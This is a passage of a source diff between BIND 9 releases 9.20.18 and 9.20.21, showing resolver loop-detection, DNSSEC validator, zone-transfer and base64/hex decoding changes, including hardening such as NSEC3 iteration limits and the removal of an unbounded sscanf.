rdataset->ttl = ttl; sigrdataset->ttl = ttl; } + +isc_stdtime_t +dns_rdataset_minresign(dns_rdataset_t *rdataset) { + dns_rdata_t rdata = DNS_RDATA_INIT; + dns_rdata_rrsig_t sig; + int64_t when; + isc_result_t result; + + REQUIRE(DNS_RDATASET_VALID(rdataset)); + + result = dns_rdataset_first(rdataset); + INSIST(result == ISC_R_SUCCESS); + dns_rdataset_current(rdataset, &rdata); + (void)dns_rdata_tostruct(&rdata, &sig, NULL); + if ((rdata.flags & DNS_RDATA_OFFLINE) != 0) { + when = 0; + } else { + when = dns_time64_from32(sig.timeexpire); + } + dns_rdata_reset(&rdata); + + result = dns_rdataset_next(rdataset); + while (result == ISC_R_SUCCESS) { + dns_rdataset_current(rdataset, &rdata); + (void)dns_rdata_tostruct(&rdata, &sig, NULL); + if ((rdata.flags & DNS_RDATA_OFFLINE) != 0) { + goto next_rr; + } + if (when == 0 || dns_time64_from32(sig.timeexpire) < when) { + when = dns_time64_from32(sig.timeexpire); + } + next_rr: + dns_rdata_reset(&rdata); + result = dns_rdataset_next(rdataset); + } + INSIST(result == ISC_R_NOMORE); + return (isc_stdtime_t)when; +} diff -Nru bind9-9.20.18/lib/dns/request.c bind9-9.20.21/lib/dns/request.c --- bind9-9.20.18/lib/dns/request.c 2026-01-09 13:39:28.352979302 +0000 +++ bind9-9.20.21/lib/dns/request.c 2026-03-13 22:01:10.904870859 +0000 @@ -649,6 +649,7 @@ cleanup: if (result != ISC_R_SUCCESS) { + dns_message_settsigkey(message, NULL); req_cleanup(request); dns_request_detach(&request); req_log(ISC_LOG_DEBUG(3), "%s: failed %s", __func__, diff -Nru bind9-9.20.18/lib/dns/resolver.c bind9-9.20.21/lib/dns/resolver.c --- bind9-9.20.18/lib/dns/resolver.c 2026-01-09 13:39:28.353979329 +0000 +++ bind9-9.20.21/lib/dns/resolver.c 2026-03-13 22:01:10.905870827 +0000 @@ -963,6 +963,10 @@ } } +static bool +waiting_for_fetch(fetchctx_t *fctx, const dns_name_t *name, + dns_rdatatype_t type, const dns_name_t *domain); + static isc_result_t valcreate(fetchctx_t *fctx, dns_message_t *message, dns_adbaddrinfo_t *addrinfo, dns_name_t *name, dns_rdatatype_t type, dns_rdataset_t *rdataset, @@ -2738,7 +2742,7 @@ /* * Log the outgoing query via dnstap. */ - if ((fctx->qmessage->flags & DNS_MESSAGEFLAG_RD) != 0) { + if (ISFORWARDER(query->addrinfo)) { dtmsgtype = DNS_DTTYPE_FQ; } else { dtmsgtype = DNS_DTTYPE_RQ; @@ -3243,9 +3247,10 @@ } /* - * Return true iff the ADB find has a pending fetch for 'type'. This is - * used to find out whether we're in a loop, where a fetch is waiting for a - * find which is waiting for that same fetch. + * Return true iff the ADB find has an already pending fetch for 'type'. This + * is used to find out whether we're in a loop, where a fetch is waiting for a + * find which is waiting for that same fetch. So if the current find actually + * started the fetch, we know it can't be a loop, so we returns false. * * Note: This could be done with either an equivalence check (e.g., * query_pending == DNS_ADBFIND_INET) or with a bit check, as below. If @@ -3264,7 +3269,11 @@ * evil. */ static bool -waiting_for(dns_adbfind_t *find, dns_rdatatype_t type) { +already_waiting_for(dns_adbfind_t *find, dns_rdatatype_t type) { + if ((find->options & DNS_ADBFIND_STARTEDFETCH) != 0) { + return false; + } + switch (type) { case dns_rdatatype_a: return (find->query_pending & DNS_ADBFIND_INET) != 0; @@ -3370,22 +3379,25 @@ * We don't know any of the addresses for this name. * * The find may be waiting on a resolver fetch for a server - * address. We need to make sure it isn't waiting on *this* + * address. We need to make sure it isn't waiting before *this* * fetch, because if it is, we won't be answering it and it * won't be answering us. */ - if (waiting_for(find, fctx->type) && dns_name_equal(name, fctx->name)) { - fctx->adberr++; + if (already_waiting_for(find, fctx->type) && + dns_name_equal(name, fctx->name)) + { isc_log_write(dns_lctx, DNS_LOGCATEGORY_RESOLVER, DNS_LOGMODULE_RESOLVER, ISC_LOG_INFO, "loop detected resolving '%s'", fctx->info); + fctx->adberr++; if ((find->options & DNS_ADBFIND_WANTEVENT) != 0) { dns_adb_cancelfind(find); } else { dns_adb_destroyfind(&find); fetchctx_detach(&fctx); } + return; } @@ -3462,6 +3474,8 @@ bool have_address = false; unsigned int ns_processed = 0; size_t fetches_allowed = 0; + dns_rdata_t nameservers_s[NS_PROCESSING_LIMIT]; + dns_rdata_t *nameservers[NS_PROCESSING_LIMIT]; FCTXTRACE5("getaddresses", "fctx->depth=", fctx->depth); @@ -3645,21 +3659,47 @@ break; } + for (result = dns_rdataset_first(&fctx->nameservers); + result == ISC_R_SUCCESS; + result = dns_rdataset_next(&fctx->nameservers)) + { + dns_rdata_t *rdata = nameservers[ns_processed] = + &nameservers_s[ns_processed]; + + dns_rdata_init(rdata); + + dns_rdataset_current(&fctx->nameservers, rdata); + + if (++ns_processed >= NS_PROCESSING_LIMIT) { + break; + } + } + + if (ns_processed > 1 && ns_processed > fetches_allowed) { + /* + * Skip the shuffle if: + * - there's nothing to shuffle (no or one nameserver) + * - there are less nameserver than allowed fetches as + * we are going to start fetches for all of them. + */ + for (size_t i = 0; i < ns_processed - 1; i++) { + size_t j = i + isc_random_uniform(ns_processed - i); + + ISC_SWAP(nameservers[i], nameservers[j]); + } + } + for (;;) { - for (result = dns_rdataset_first(&fctx->nameservers); - result == ISC_R_SUCCESS; - result = dns_rdataset_next(&fctx->nameservers)) - { - dns_rdata_t rdata = DNS_RDATA_INIT; + for (size_t i = 0; i < ns_processed; i++) { bool overquota = false; unsigned int static_stub = 0; unsigned int no_fetch = 0; + dns_rdata_t *rdata = nameservers[i]; - dns_rdataset_current(&fctx->nameservers, &rdata); /* * Extract the name from the NS record. */ - result = dns_rdata_tostruct(&rdata, &ns, NULL); + result = dns_rdata_tostruct(rdata, &ns, NULL); if (result != ISC_R_SUCCESS) { continue; } @@ -3686,21 +3726,12 @@ all_spilled = false; } - dns_rdata_reset(&rdata); dns_rdata_freestruct(&ns); - - if (++ns_processed >= NS_PROCESSING_LIMIT) { - result = ISC_R_NOMORE; - break; - } } /* * Don't start alternate fetch if we just started one above. */ - /* - * Don't start alternate fetch if we just started one above. - */ if (fctx->pending_running > 0) { stdoptions |= DNS_ADBFIND_NOFETCH; result = ISC_R_NOMORE; @@ -9892,7 +9923,13 @@ } dns_compress_invalidate(&cctx); - if ((fctx->qmessage->flags & DNS_MESSAGEFLAG_RD) != 0) { + /* + * Check if the response came from a forwarder to correctly + * classify as Forward Response (FR) vs Recursive Response (RR) + * for DNSTAP logging. This is more accurate than using the RD + * flag which only indicates the original query intent. + */ + if (ISFORWARDER(rctx->query->addrinfo)) { dtmsgtype = DNS_DTTYPE_FR; } else { dtmsgtype = DNS_DTTYPE_RR; @@ -10624,11 +10661,26 @@ } static bool +is_samedomain(const dns_name_t *domain1, const dns_name_t *domain2) { + if (domain1 == NULL && domain2 == NULL) { + return true; + } + + if (domain1 == NULL || domain2 == NULL) { + return false; + } + + return !dns_name_compare(domain1, domain2); +} + +static bool waiting_for_fetch(fetchctx_t *fctx, const dns_name_t *name, - dns_rdatatype_t type) { + dns_rdatatype_t type, const dns_name_t *domain) { while (fctx != NULL) { if (type == fctx->type && !dns_name_compare(name, fctx->name)) { - return true; + if (is_samedomain(domain, fctx->domain)) { + return true; + } } fctx = fctx->parent; } @@ -10678,18 +10730,30 @@ log_fetch(name, type); - if (waiting_for_fetch(parent, name, type)) { + /* + * This fetch loop detection enable to guard against loop scenarios + * where the DNSSEC is involved. See + * `4d307ac67a0e3f9831c9a4e66ac481e2f9ceebb5`. This is a complementary + * detection with the ADB lookup loop detection (in `findname()`). + */ + if (waiting_for_fetch(parent, name, type, domain)) { if (isc_log_wouldlog(dns_lctx, ISC_LOG_INFO)) { char namebuf[DNS_NAME_FORMATSIZE + 1]; char typebuf[DNS_RDATATYPE_FORMATSIZE]; + char domainbuf[DNS_NAME_FORMATSIZE + 1] = { 0 }; dns_name_format(name, namebuf, sizeof(namebuf)); dns_rdatatype_format(type, typebuf, sizeof(typebuf)); + if (domain != NULL) { + dns_name_format(domain, domainbuf, + sizeof(domainbuf)); + } isc_log_write(dns_lctx, DNS_LOGCATEGORY_RESOLVER, DNS_LOGMODULE_RESOLVER, ISC_LOG_DEBUG(2), - "fetch loop detected resolving '%s/%s'", - namebuf, typebuf); + "fetch loop detected resolving '%s/%s " + "(in '%s'?)", + namebuf, typebuf, domainbuf); } return DNS_R_LOOPDETECTED; } diff -Nru bind9-9.20.18/lib/dns/skr.c bind9-9.20.21/lib/dns/skr.c --- bind9-9.20.18/lib/dns/skr.c 2026-01-09 13:39:28.354979355 +0000 +++ bind9-9.20.21/lib/dns/skr.c 2026-03-13 22:01:10.907870763 +0000 @@ -231,7 +231,6 @@ dns_rdataclass_t rdclass, dns_ttl_t dnskeyttl, dns_skr_t **skrp) { isc_result_t result; dns_skrbundle_t *bundle = NULL; - char bundlebuf[1024]; uint32_t bundle_id; isc_lex_t *lex = NULL; isc_lexspecials_t specials; @@ -304,8 +303,7 @@ } /* Create new bundle */ - sscanf(STR(token), "%s", bundlebuf); - CHECK(dns_time32_fromtext(bundlebuf, &bundle_id)); + CHECK(dns_time32_fromtext(STR(token), &bundle_id)); bundle = NULL; skrbundle_create(mctx, (isc_stdtime_t)bundle_id, &bundle); diff -Nru bind9-9.20.18/lib/dns/time.c bind9-9.20.21/lib/dns/time.c --- bind9-9.20.18/lib/dns/time.c 2026-01-09 13:39:28.355979381 +0000 +++ bind9-9.20.21/lib/dns/time.c 2026-03-13 22:01:10.907870763 +0000 @@ -41,8 +41,8 @@ /* * Warning. Do NOT use arguments with side effects with these macros. */ -#define is_leap(y) ((((y) % 4) == 0 && ((y) % 100) != 0) || ((y) % 400) == 0) -#define year_secs(y) ((is_leap(y) ? 366 : 365) * 86400) +#define is_leap(y) ((((y) % 4) == 0 && ((y) % 100) != 0) || ((y) % 400) == 0) +#define year_secs(y) ((is_leap(y) ? 366 : 365) * 86400) #define month_secs(m, y) ((days[m] + ((m == 1 && is_leap(y)) ? 1 : 0)) * 86400) tm.tm_year = 70; diff -Nru bind9-9.20.18/lib/dns/tkey.c bind9-9.20.21/lib/dns/tkey.c --- bind9-9.20.18/lib/dns/tkey.c 2026-01-09 13:39:28.355979381 +0000 +++ bind9-9.20.21/lib/dns/tkey.c 2026-03-13 22:01:10.907870763 +0000 @@ -420,7 +420,8 @@ /* * A delete operation uses the fully specified qname. */ - CHECK(process_deletetkey(signer, qname, &tkeyin, &tkeyout, + keyname = qname; + CHECK(process_deletetkey(signer, keyname, &tkeyin, &tkeyout, ring)); break; case DNS_TKEYMODE_GSSAPI: @@ -463,6 +464,10 @@ result = DNS_R_NOTIMP; goto cleanup; default: + /* + * For unrecognized modes also use the fully specified qname. + */ + keyname = qname; tkeyout.error = dns_tsigerror_badmode; } diff -Nru bind9-9.20.18/lib/dns/validator.c bind9-9.20.21/lib/dns/validator.c --- bind9-9.20.18/lib/dns/validator.c 2026-01-09 13:39:28.357979434 +0000 +++ bind9-9.20.21/lib/dns/validator.c 2026-03-13 22:01:10.909870699 +0000 @@ -230,7 +230,8 @@ * Mark the RRsets in val->vstat with trust level secure. */ static void -marksecure(dns_validator_t *val) { +marksecure(dns_validator_t *val, const char *where) { + validator_log(val, ISC_LOG_DEBUG(3), "marking as secure (%s)", where); dns_rdataset_settrust(val->rdataset, dns_trust_secure); if (val->sigrdataset != NULL) { dns_rdataset_settrust(val->sigrdataset, dns_trust_secure); @@ -257,12 +258,25 @@ } /*% - * Look in the NSEC record returned from a DS query to see if there is - * a NS RRset at this name. If it is found we are at a delegation point. + * The isdelegation() function is called as part of seeking the DS record. + * Look in the NSEC or NSEC3 record returned from a DS query to see if the + * record has the NS bitmap set. If so, we are at a delegation point. + * + * If the response contains NSEC3 records with too high iterations, we cannot + * (or rather we are not going to) validate the insecurity proof. Instead we + * are going to treat the message as insecure and just assume the DS was at + * the delegation. + * + * Returns: + *\li #ISC_R_SUCCESS the NS bitmap was set in the NSEC or NSEC3 record, or + * the NSEC3 covers the name (in case of opt-out), or + * we cannot validate the insecurity proof and are going + * to treat the message as isnecure. + *\li #ISC_R_NOTFOUND the NS bitmap was not set, */ -static bool -isdelegation(dns_name_t *name, dns_rdataset_t *rdataset, - isc_result_t dbresult) { +static isc_result_t +isdelegation(dns_validator_t *val, dns_name_t *name, dns_rdataset_t *rdataset, + isc_result_t dbresult, const char *caller) { dns_fixedname_t fixed; dns_label_t hashlabel; dns_name_t nsec3name; @@ -290,7 +304,7 @@ goto trynsec3; } if (result != ISC_R_SUCCESS) { - return false; + return ISC_R_NOTFOUND; } } @@ -304,7 +318,7 @@ dns_rdata_reset(&rdata); } dns_rdataset_disassociate(&set); - return found; + return found ? ISC_R_SUCCESS : ISC_R_NOTFOUND; trynsec3: /* @@ -340,6 +354,21 @@ if (nsec3.hash != 1) { continue; } + if (nsec3.next_length > NSEC3_MAX_HASH_LENGTH) { + continue; + } + /* + * If there are too many iterations assume bad things + * are happening and bail out early. Treat as if the + * DS was at the delegation. + */ + if (nsec3.iterations > DNS_NSEC3_MAXITERATIONS) { + validator_log(val, ISC_LOG_DEBUG(3), + "%s: too many iterations", + caller); + dns_rdataset_disassociate(&set); + return ISC_R_SUCCESS; + } length = isc_iterated_hash( hash, nsec3.hash, nsec3.iterations, nsec3.salt, nsec3.salt_length, name->ndata, name->length); @@ -351,7 +380,7 @@ found = dns_nsec3_typepresent(&rdata, dns_rdatatype_ns); dns_rdataset_disassociate(&set); - return found; + return found ? ISC_R_SUCCESS : ISC_R_NOTFOUND; } if ((nsec3.flags & DNS_NSEC3FLAG_OPTOUT) == 0) { continue; @@ -367,12 +396,12 @@ memcmp(hash, nsec3.next, length) < 0))) { dns_rdataset_disassociate(&set); - return true; + return ISC_R_SUCCESS; } } dns_rdataset_disassociate(&set); } - return found; + return found ? ISC_R_SUCCESS : ISC_R_NOTFOUND; } static void @@ -586,9 +615,10 @@ break; case DNS_R_NXRRSET: case DNS_R_NCACHENXRRSET: - if (isdelegation(resp->foundname, &val->frdataset, - eresult)) - { + result = isdelegation(val, resp->foundname, + &val->frdataset, eresult, + "fetch_callback_ds"); + if (result == ISC_R_SUCCESS) { /* * Failed to find a DS while trying to prove * insecurity. If this is a zone cut, that @@ -704,10 +734,13 @@ dns_trust_totext(val->frdataset.trust)); have_dsset = (val->frdataset.type == dns_rdatatype_ds); name = dns_fixedname_name(&val->fname); + if ((val->attributes & VALATTR_INSECURITY) != 0 && val->frdataset.covers == dns_rdatatype_ds && NEGATIVE(&val->frdataset) && - isdelegation(name, &val->frdataset, DNS_R_NCACHENXRRSET)) + isdelegation(val, name, &val->frdataset, + DNS_R_NCACHENXRRSET, + "validator_callback_ds") == ISC_R_SUCCESS) { result = markanswer(val, "validator_callback_ds", "no DS and this is a delegation"); @@ -1484,11 +1517,19 @@ bool ignore = false; dns_name_t *wild; + if (DNS_TRUST_SECURE(val->rdataset->trust)) { + /* + * This RRset was already verified before. + */ + return ISC_R_SUCCESS; + } + val->attributes |= VALATTR_TRIEDVERIFY; - wild = dns_fixedname_initname(&fixed); if (over_max_validations(val)) { return ISC_R_QUOTA; } + wild = dns_fixedname_initname(&fixed); + again: result = dns_dnssec_verify(val->name, val->rdataset, key, ignore, val->view->maxbits, val->view->mctx, rdata, @@ -1843,9 +1884,7 @@ } if (val->result == ISC_R_SUCCESS) { - marksecure(val); - validator_log(val, ISC_LOG_DEBUG(3), - "marking as secure, noqname proof not needed"); + marksecure(val, "noqname proof not needed"); validate_async_done(val, val->result); return; } @@ -2054,8 +2093,7 @@ /* Abort, abort, abort! */ break; case ISC_R_SUCCESS: - marksecure(val); - validator_log(val, ISC_LOG_DEBUG(3), "marking as secure (DS)"); + marksecure(val, "validate_dnskey (DS)"); break; case ISC_R_NOMORE: if (val->unsupported_algorithm != 0 || @@ -2118,6 +2156,8 @@ return DNS_R_BADALG; } + val->validation_attempts++; + /* * Find the DNSKEY matching the DS... */ @@ -2189,6 +2229,11 @@ return; } + if (val->validation_attempts != 0) { + val->unsupported_algorithm = 0; + val->unsupported_digest = 0; + } + validate_dnskey_dsset_done(val, result); return; } @@ -2759,7 +2804,19 @@ } } + if (rdataset->type != dns_rdatatype_nsec && + DNS_TRUST_SECURE(rdataset->trust)) + { + /* + * The negative response data is already verified. + * We skip NSEC records, because they require special + * processing in validator_callback_nsec(). + */ + return DNS_R_CONTINUE; + } + val->nxset = rdataset; + result = create_validator(val, name, rdataset->type, rdataset, sigrdataset, validator_callback_nsec, "validate_neg_rrset"); @@ -2869,11 +2926,9 @@ } result = validate_neg_rrset(val, name, rdataset, sigrdataset); - if (result == DNS_R_CONTINUE) { - continue; + if (result != DNS_R_CONTINUE) { + return result; } - - return result; } if (result == ISC_R_NOMORE) { result = ISC_R_SUCCESS; @@ -2922,7 +2977,8 @@ result = findnsec3proofs(val); if (result == DNS_R_NSEC3ITERRANGE) { validator_log(val, ISC_LOG_DEBUG(3), - "too many iterations"); + "%s: too many iterations", + __func__); markanswer(val, "validate_nx (3)", NULL); return ISC_R_SUCCESS; } @@ -2930,9 +2986,7 @@ if (FOUNDNOQNAME(val) && FOUNDCLOSEST(val) && !FOUNDOPTOUT(val)) { - validator_log(val, ISC_LOG_DEBUG(3), - "marking as secure, noqname proof found"); - marksecure(val); + marksecure(val, "validate_nx (noqname proof found)"); return ISC_R_SUCCESS; } else if (FOUNDOPTOUT(val) && dns_name_countlabels( @@ -2958,7 +3012,7 @@ result = findnsec3proofs(val); if (result == DNS_R_NSEC3ITERRANGE) { validator_log(val, ISC_LOG_DEBUG(3), - "too many iterations"); + "%s: too many iterations", __func__); markanswer(val, "validate_nx (4)", NULL); return ISC_R_SUCCESS; } @@ -2986,7 +3040,8 @@ validator_log(val, ISC_LOG_DEBUG(3), "nonexistence proof(s) found"); if (val->message == NULL) { - marksecure(val); + marksecure(val, + "validate_nx (nonexistence proofs found)"); } else { val->secure = true; } @@ -3171,7 +3226,9 @@ return ISC_R_COMPLETE; } - if (isdelegation(tname, &val->frdataset, result)) { + result = isdelegation(val, tname, &val->frdataset, result, + "seek_ds"); + if (result == ISC_R_SUCCESS) { *resp = markanswer(val, "seek_ds (3)", "this is a delegation"); return ISC_R_COMPLETE; diff -Nru bind9-9.20.18/lib/dns/xfrin.c bind9-9.20.21/lib/dns/xfrin.c --- bind9-9.20.18/lib/dns/xfrin.c 2026-01-09 13:39:28.357979434 +0000 +++ bind9-9.20.21/lib/dns/xfrin.c 2026-03-13 22:01:10.909870699 +0000 @@ -78,6 +78,8 @@ * Incoming zone transfer context. */ +typedef struct dns_ixfr dns_ixfr_t; + struct dns_xfrin { unsigned int magic; isc_mem_t *mctx; @@ -170,7 +172,7 @@ */ dns_rdatacallbacks_t axfr; - struct { + struct dns_ixfr { uint32_t request_serial; uint32_t current_serial; dns_journal_t *journal; @@ -485,24 +487,22 @@ } static isc_result_t -ixfr_begin_transaction(dns_xfrin_t *xfr) { +ixfr_begin_transaction(dns_ixfr_t *ixfr) { isc_result_t result = ISC_R_SUCCESS; - if (xfr->ixfr.journal != NULL) { - CHECK(dns_journal_begin_transaction(xfr->ixfr.journal)); + if (ixfr->journal != NULL) { + CHECK(dns_journal_begin_transaction(ixfr->journal)); } cleanup: return result; } static isc_result_t -ixfr_end_transaction(dns_xfrin_t *xfr) { +ixfr_end_transaction(dns_ixfr_t *ixfr) { isc_result_t result = ISC_R_SUCCESS; - - CHECK(dns_zone_verifydb(xfr->zone, xfr->db, xfr->ver)); /* XXX enter ready-to-commit state here */ - if (xfr->ixfr.journal != NULL) { - CHECK(dns_journal_commit(xfr->ixfr.journal)); + if (ixfr->journal != NULL) { + CHECK(dns_journal_commit(ixfr->journal)); } cleanup: return result; @@ -513,9 +513,14 @@ isc_result_t result = ISC_R_SUCCESS; uint64_t records; - CHECK(ixfr_begin_transaction(xfr)); + dns_rdatacallbacks_t callbacks; + dns_rdatacallbacks_init(&callbacks); + + CHECK(ixfr_begin_transaction(&xfr->ixfr)); - CHECK(dns_diff_apply(&data->diff, xfr->db, xfr->ver)); + dns_db_beginupdate(xfr->db, xfr->ver, &callbacks); + + CHECK(dns_diff_apply_with_callbacks(&data->diff, &callbacks)); if (xfr->maxrecords != 0U) { result = dns_db_getsize(xfr->db, xfr->ver, &records, NULL); if (result == ISC_R_SUCCESS && records > xfr->maxrecords) { @@ -526,12 +531,29 @@ CHECK(dns_journal_writediff(xfr->ixfr.journal, &data->diff)); } - result = ixfr_end_transaction(xfr); + /* + * At the moment, rdatacallbacks doesn't offer a way to inspect the + * result of a transaction before committing it. + * + * So we need to commit *before* calling dns_zone_verifydb, and rely + * on closeversion to actually do cleanup. + */ + CHECK(dns_db_commitupdate(xfr->db, &callbacks)); + + CHECK(dns_zone_verifydb(xfr->zone, xfr->db, xfr->ver)); + + result = ixfr_end_transaction(&xfr->ixfr); return result; cleanup: + /* + * For the reason stated above, dns_db_abortupdate must *commit* the + * changes and rely on closeversion to clean them up. + */ + (void)dns_db_abortupdate(xfr->db, &callbacks); + /* We need to end the transaction, but keep the previous error */ - (void)ixfr_end_transaction(xfr); + (void)ixfr_end_transaction(&xfr->ixfr); return result; } diff -Nru bind9-9.20.18/lib/dns/zone.c bind9-9.20.21/lib/dns/zone.c --- bind9-9.20.18/lib/dns/zone.c 2026-01-09 13:39:28.359979486 +0000 +++ bind9-9.20.21/lib/dns/zone.c 2026-03-13 22:01:10.912870603 +0000 @@ -571,7 +571,7 @@ DNS_ZONEFLG___MAX = UINT64_MAX, /* trick to make the ENUM 64-bit wide */ } dns_zoneflg_t; -#define DNS_ZONE_OPTION(z, o) ((atomic_load_relaxed(&(z)->options) & (o)) != 0) +#define DNS_ZONE_OPTION(z, o) ((atomic_load_relaxed(&(z)->options) & (o)) != 0) #define DNS_ZONE_SETOPTION(z, o) atomic_fetch_or(&(z)->options, (o)) #define DNS_ZONE_CLROPTION(z, o) atomic_fetch_and(&(z)->options, ~(o)) @@ -12747,7 +12747,8 @@ isc_tlsctx_cache_detach(&zmgr_tlsctx_cache); - if (result == ISC_R_SUCCESS) { + switch (result) { + case ISC_R_SUCCESS: if (isc_sockaddr_pf(¬ify->dst) == AF_INET) { inc_stats(notify->zone, dns_zonestatscounter_notifyoutv4); @@ -12755,14 +12756,24 @@ inc_stats(notify->zone, dns_zonestatscounter_notifyoutv6); } - } else if (result == ISC_R_SHUTTINGDOWN || result == ISC_R_CANCELED) { - goto cleanup_key; - } else if ((notify->flags & DNS_NOTIFY_TCP) == 0) { + break; + case ISC_R_SHUTTINGDOWN: + case ISC_R_CANCELED: + case ISC_R_ADDRNOTAVAIL: + case DNS_R_BLACKHOLED: + case ISC_R_FAMILYNOSUPPORT: notify_log(notify->zone, ISC_LOG_NOTICE, - "notify to %s failed: %s: retrying over TCP", - addrbuf, isc_result_totext(result)); - notify->flags |= DNS_NOTIFY_TCP; - goto again; + "notify to %s failed: %s", addrbuf, + isc_result_totext(result)); + break; + default: + if ((notify->flags & DNS_NOTIFY_TCP) == 0) { + notify_log(notify->zone, ISC_LOG_NOTICE, + "notify to %s failed: %s: retrying over TCP", + addrbuf, isc_result_totext(result)); + notify->flags |= DNS_NOTIFY_TCP; + goto again; + } } cleanup_key: @@ -18274,7 +18285,7 @@ * If zone loading failed, remove the update db callbacks prior * to calling the list of callbacks in the zone load structure. */ - if (result != ISC_R_SUCCESS) { + if (result != ISC_R_SUCCESS && result != DNS_R_SEENINCLUDE) { dns_zone_rpz_disable_db(zone, load->db); dns_zone_catz_disable_db(zone, load->db); } diff -Nru bind9-9.20.18/lib/isc/base64.c bind9-9.20.21/lib/isc/base64.c --- bind9-9.20.18/lib/isc/base64.c 2026-01-09 13:39:28.361979539 +0000 +++ bind9-9.20.21/lib/isc/base64.c 2026-03-13 22:01:10.913870571 +0000 @@ -179,7 +179,7 @@ isc_token_t token; bool eol; - REQUIRE(length >= -2); + REQUIRE(length >= isc_one_or_more); base64_decode_init(&ctx, length, target); @@ -207,7 +207,7 @@ isc_lex_ungettoken(lexer, &token); } RETERR(base64_decode_finish(&ctx)); - if (length == -2 && before == after) { + if (length == isc_one_or_more && before == after) { return ISC_R_UNEXPECTEDEND; } return ISC_R_SUCCESS; @@ -217,7 +217,7 @@ isc_base64_decodestring(const char *cstr, isc_buffer_t *target) { base64_decode_ctx_t ctx; - base64_decode_init(&ctx, -1, target); + base64_decode_init(&ctx, isc_zero_or_more, target); for (;;) { int c = *cstr++; if (c == '\0') { diff -Nru bind9-9.20.18/lib/isc/file.c bind9-9.20.21/lib/isc/file.c --- bind9-9.20.18/lib/isc/file.c 2026-01-09 13:39:28.362979565 +0000 +++ bind9-9.20.21/lib/isc/file.c 2026-03-13 22:01:10.914870539 +0000 @@ -353,7 +353,7 @@ return isc__errno2result(errno); } for (cp = x;;) { - char *t; + const char *t; if (*cp == '\0') { return ISC_R_FAILURE; } diff -Nru bind9-9.20.18/lib/isc/hex.c bind9-9.20.21/lib/isc/hex.c --- bind9-9.20.18/lib/isc/hex.c 2026-01-09 13:39:28.362979565 +0000 +++ bind9-9.20.21/lib/isc/hex.c 2026-03-13 22:01:10.915870507 +0000 @@ -138,7 +138,7 @@ isc_token_t token; bool eol; - REQUIRE(length >= -2); + REQUIRE(length >= isc_one_or_more); hex_decode_init(&ctx, length, target); @@ -166,7 +166,7 @@ isc_lex_ungettoken(lexer, &token); } RETERR(hex_decode_finish(&ctx)); - if (length == -2 && before == after) { + if (length == isc_one_or_more && before == after) { return ISC_R_UNEXPECTEDEND; } return ISC_R_SUCCESS; @@ -176,7 +176,7 @@ isc_hex_decodestring(const char *cstr, isc_buffer_t *target) { hex_decode_ctx_t ctx; - hex_decode_init(&ctx, -1, target); + hex_decode_init(&ctx, isc_zero_or_more, target); for (;;) { int c = *cstr++; if (c == '\0') { diff -Nru bind9-9.20.18/lib/isc/include/isc/base64.h bind9-9.20.21/lib/isc/include/isc/base64.h --- bind9-9.20.18/lib/isc/include/isc/base64.h 2026-01-09 13:39:28.364979617 +0000 +++ bind9-9.20.21/lib/isc/include/isc/base64.h 2026-03-13 22:01:10.916870475 +0000 @@ -75,8 +75,11 @@ * `target`. If 'length' is non-negative, it is the expected number of * encoded octets to convert. * - * If 'length' is -1 then 0 or more encoded octets are expected. - * If 'length' is -2 then 1 or more encoded octets are expected. + * If 'length' is isc_zero_or_more then 0 or more encoded octets are + * expected. + * + * If 'length' is isc_one_or_more then 1 or more encoded octets are + * expected. * * Returns: *\li #ISC_R_BADBASE64 -- invalid base64 encoding. diff -Nru bind9-9.20.18/lib/isc/include/isc/hex.h bind9-9.20.21/lib/isc/include/isc/hex.h --- bind9-9.20.18/lib/isc/include/isc/hex.h 2026-01-09 13:39:28.366979670 +0000 +++ bind9-9.20.21/lib/isc/include/isc/hex.h 2026-03-13 22:01:10.918870411 +0000 @@ -88,8 +88,11 @@ * `target`. If 'length' is non-negative, it is the expected number of * encoded octets to convert. * - * If 'length' is -1 then 0 or more encoded octets are expected. - * If 'length' is -2 then 1 or more encoded octets are expected. + * If 'length' is isc_zero_or_more then 0 or more encoded octets are + * expected. + * + * If 'length' is isc_one_or_more then 1 or more encoded octets are + * expected. * * Returns: *\li #ISC_R_BADHEX -- invalid hex encoding diff -Nru bind9-9.20.18/lib/isc/include/isc/iterated_hash.h bind9-9.20.21/lib/isc/include/isc/iterated_hash.h --- bind9-9.20.18/lib/isc/include/isc/iterated_hash.h 2026-01-09 13:39:28.367979696 +0000 +++ bind9-9.20.21/lib/isc/include/isc/iterated_hash.h 2026-03-13 22:01:10.918870411 +0000 @@ -15,18 +15,6 @@ #include -/* - * The maximal hash length that can be encoded in a name - * using base32hex. floor(255/8)*5 - */ -#define NSEC3_MAX_HASH_LENGTH 155 - -/* - * The maximum has that can be encoded in a single label using - * base32hex. floor(63/8)*5 - */ -#define NSEC3_MAX_LABEL_HASH 35 - ISC_LANG_BEGINDECLS int diff -Nru bind9-9.20.18/lib/isc/include/isc/net.h bind9-9.20.21/lib/isc/include/isc/net.h --- bind9-9.20.18/lib/isc/include/isc/net.h 2026-01-09 13:39:28.368979722 +0000 +++ bind9-9.20.21/lib/isc/include/isc/net.h 2026-03-13 22:01:10.920870347 +0000 @@ -248,8 +248,8 @@ void isc_net_enableipv6(void); -isc_result_t -isc_net_getudpportrange(int af, in_port_t *low, in_port_t *high); +void +isc_net_getportrange(int af, in_port_t *low, in_port_t *high); /*%< * Returns system's default range of ephemeral UDP ports, if defined. * If the range is not available or unknown, ISC_NET_PORTRANGELOW and diff -Nru bind9-9.20.18/lib/isc/include/isc/netmgr.h bind9-9.20.21/lib/isc/include/isc/netmgr.h --- bind9-9.20.18/lib/isc/include/isc/netmgr.h 2026-01-09 13:39:28.368979722 +0000 +++ bind9-9.20.21/lib/isc/include/isc/netmgr.h 2026-03-13 22:01:10.920870347 +0000 @@ -897,3 +897,10 @@ /*%< * Return the local address of 'sock'. */ + +void +isc_netmgr_portrange(isc_nm_t *netmgr, sa_family_t af, in_port_t low, + in_port_t high); +/*%< + * Set the ephemeral port range for 'af' family. + */ diff -Nru bind9-9.20.18/lib/isc/include/isc/os.h bind9-9.20.21/lib/isc/include/isc/os.h --- bind9-9.20.18/lib/isc/include/isc/os.h 2026-01-09 13:39:28.369979749 +0000 +++ bind9-9.20.21/lib/isc/include/isc/os.h 2026-03-13 22:01:10.920870347 +0000 @@ -49,4 +49,11 @@ * Return umask of the current process as initialized at the program start */ +void +isc_os_kernel(char **name, int *major, int *minor, int *patch); +/*%< + * Fill the running kernel version into major, minor and patch. + * If any of these are not available then -1 is returned. + */ + ISC_LANG_ENDDECLS diff -Nru bind9-9.20.18/lib/isc/include/isc/overflow.h bind9-9.20.21/lib/isc/include/isc/overflow.h --- 